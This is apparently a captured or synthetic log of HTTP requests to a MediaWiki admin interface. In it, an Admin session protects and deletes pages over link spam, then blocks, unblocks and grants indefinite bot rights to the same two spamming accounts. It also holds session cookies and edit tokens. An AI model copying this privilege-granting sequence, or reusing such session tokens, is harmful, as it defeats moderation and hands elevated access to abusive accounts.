{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.protect%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=19xu7", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 339", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Lighthouse+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links&mwProtectWatch=1&wpEditToken=75375fbe86609ad8b8ff2ce9009078d96af23fc0%2B%5C"}
{"method": "GET", "target": "/wiki/Lighthouse_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.protectionIndicators.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=115w1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=unStar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.protectionIndicators.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1oh8g", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 175", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Lighthouse+notes&wpDeleteReasonList=other&wpReason=Spamming+links&wpWatch=1&wpConfirmB=&wpEditToken=93af5bf28b424ea6f61259a172dc40ae6af23fc1%2B%5C&wpConfirmationRevId=12"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.helplink%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794260930%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Python3&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794260930%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 349", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794260930%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=Python3&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+python3+guides&wpAutoBlock=1&wpEditToken=aa8b621898b99cd5d5bbff7c983c51416af23fc2%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Python3&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794260931%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 141", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794260931%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=Python3&wpReason=Spamming+links+to+python3+guides&wpEditToken=0301942f7378b7545282b44c2c59669e6af23fc5%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Python3&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794260934%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Python3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794260934%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 300", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Python3", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794260934%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+python3+guides&wpEditToken=229e8052974b3c3c4f8007661187e43d6af23fc7%2B%5C&user=Python3&wpEditToken=4b385734108f62f64ab9bcd90a48d9b86af23fc7%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/Python3", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Python3", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794260936%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794260936%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 354", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794260936%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Python3+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+python3+guides&mwProtectWatch=1&wpEditToken=a011544f3ec7fa75bd1fd89a2f20dcc96af23fc9%2B%5C"}
{"method": "GET", "target": "/wiki/Python3_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794260937%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794260937%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 190", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794260937%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Python3+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+python3+guides&wpWatch=1&wpConfirmB=&wpEditToken=894fe5e362a216c6fed953d5981e56266af23fca%2B%5C&wpConfirmationRevId=13"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Powershell&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794260939%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 355", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794260939%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=Powershell&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+powershell+guides&wpAutoBlock=1&wpEditToken=3b00de112eaad4ff6f12629cc0c9c8c06af23fcb%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Powershell&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794260940%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 147", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794260940%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=Powershell&wpReason=Spamming+links+to+powershell+guides&wpEditToken=4b25c2be7aa7180be8fc025161311c226af23fce%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Powershell&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794260942%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794260942%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 306", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Powershell", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794260942%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+powershell+guides&wpEditToken=35cb5dd45d8899e2a96ed95c00c178ef6af23fd0%2B%5C&user=Powershell&wpEditToken=b9e7f00795439581c5845863b4170ec36af23fd0%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
